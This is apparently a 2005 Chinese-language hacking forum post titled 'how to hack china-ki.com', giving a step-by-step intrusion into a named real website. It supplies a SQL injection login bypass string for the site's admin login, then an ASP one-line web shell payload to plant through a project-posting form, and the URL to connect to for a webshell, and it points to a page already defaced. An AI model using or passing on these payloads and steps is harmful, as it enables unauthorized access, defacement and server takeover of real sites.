黑掉china-ki.com的方法

2005-12-08 22:25:30 by: h4x0r

黑掉china-ki.com的方法

Font Size: Large | Medium | Small

被黑页面http://www.china-ki.com/dht.htm

http://zhaoshang.china-ki.com/
这里的登陆没有过滤
用户名
密码里输入'or'='or'
就可以饶过验证,直接已管理员身份进入

尊敬的用户:'or'='or'，您好！

然后插入一句话木马

进入→发布项目信息 →项目名称消息里写一句话木马
这里的S端<%eval(request("h4x0r"))%>自己变形不多说了
然后发布，就OK了。

用客户端连接http://zhaoshang.china-ki.com/job.asp
就得到WEBSHELL了...

[Last Modified By h4x0r, at 2005-12-08 22:35:43]